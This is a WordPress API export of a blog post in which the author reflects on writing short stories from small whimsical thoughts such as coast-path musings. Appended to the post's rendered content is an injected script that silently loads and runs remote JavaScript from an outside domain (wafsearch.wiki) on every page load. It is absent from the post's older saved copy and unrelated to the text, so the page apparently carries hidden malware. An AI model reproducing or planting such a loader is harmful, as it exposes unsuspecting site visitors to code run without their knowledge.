{"id":205,"date":"2021-06-06T11:57:21","date_gmt":"2021-06-06T11:57:21","guid":{"rendered":"http:\/\/www.phoebegibson.com\/?p=205"},"modified":"2025-11-21T20:00:38","modified_gmt":"2025-11-21T20:00:38","slug":"in-at-the-deep-end","status":"publish","type":"post","link":"http:\/\/www.phoebegibson.com\/index.php\/in-at-the-deep-end\/","title":{"rendered":"In at the Deep End"},"content":{"rendered":"\n<p>I really enjoyed writing this short story.  <\/p>\n\n\n\n<p>For me, a short story starts with one small idea.  Something that visits fleetingly.  A passing thought. A whim.  <\/p>\n\n\n\n<p>Your passing thoughts will be different to mine.  Mine are always, &#8216;Wouldn&#8217;t it be funny if&#8230;?&#8217;  I have these sort of thoughts a lot.<\/p>\n\n\n\n<p>I think many of us have similar passing thoughts in similar situations.  Walking along a coast path, we probably all think, &#8216;Wouldn&#8217;t it be awful if a big gust of wind came now and blew me over the edge?&#8217;<\/p>\n\n\n\n<p>Yes I&#8217;ve thought that many times.  Mostly because one of my small thrills in life is walking a coast path &#8211; any coast path will do but the higher up a cliff the better.  (Better view of the sea and horizon.)<\/p>\n\n\n\n<p>These whimsical thoughts in themselves don&#8217;t make up a short story, but they become an intrinsic part.  You have to have a meaningful character and a bit of a plot to weave around them too. And with short stories, &#8216;a bit of a plot&#8217; has to be tiny.  You only have 800, 1800 or 3000 words to play with.  Your character can&#8217;t go far.  They can&#8217;t philosophise on the meaning of life. <\/p>\n\n\n\n<p>But they can enjoy a moment in time.  A short journey of joy.  Something that they can appreciate for what it is.<\/p>\n\n\n\n<p>Which is why I like writing short stories so much.  It&#8217;s my chance to put a spotlight on a tiny little everyday occurrence and metaphorically shout, &#8220;Hey everyone!  Look at this!  Isn&#8217;t it marvellous if you stop to look at it!&#8221;<\/p>\n\n\n\n<p>Or something like that.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>I really enjoyed writing this short story. For me, a short story starts with one small idea. Something that visits fleetingly. A passing thought. A whim. Your passing thoughts will be different to mine. Mine are always, &#8216;Wouldn&#8217;t it be funny if&#8230;?&#8217; I have these sort of thoughts a lot. I think many of us [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":206,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"off","_et_pb_old_content":"<!-- wp:paragraph -->\n<p>I really enjoyed writing this short story.  <\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For me, a short story starts with one small idea.  Something that visits fleetingly.  A passing thought. A whim.  <\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your passing thoughts will be different to mine.  Mine are always, 'Wouldn't it be funny if...?'  I have these sort of thoughts a lot.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think many of us have similar passing thoughts in similar situations.  Walking along a coast path, we probably all think, 'Wouldn't it be awful if a big gust of wind came now and blew me over the edge?'<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes I've thought that many times.  Mostly because one of my small thrills in life is walking a coast path - any coast path will do but the higher up a cliff the better.  (Better view of the sea and horizon.)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These whimsical thoughts in themselves don't make up a short story, but they become an intrinsic part.  You have to have a meaningful character and a bit of a plot to weave around them too. And with short stories, 'a bit of a plot' has to be tiny.  You only have 800, 1800 or 3000 words to play with.  Your character can't go far.  They can't philosophise on the meaning of life. <\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But they can enjoy a moment in time.  A short journey of joy.  Something that they can appreciate for what it is.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which is why I like writing short stories so much.  It's my chance to put a spotlight on a tiny little everyday occurrence and metaphorically shout, \"Hey everyone!  Look at this!  Isn't it marvellous if you stop to look at it!\"<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or something like that.<\/p>\n<!-- \/wp:paragraph -->","_et_gb_content_width":"","footnotes":""},"categories":[7],"tags":[],"_links":{"self":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/205"}],"collection":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/comments?post=205"}],"version-history":[{"count":4,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/205\/revisions"}],"predecessor-version":[{"id":329,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/posts\/205\/revisions\/329"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/media\/206"}],"wp:attachment":[{"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/media?parent=205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/categories?post=205"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.phoebegibson.com\/index.php\/wp-json\/wp\/v2\/tags?post=205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}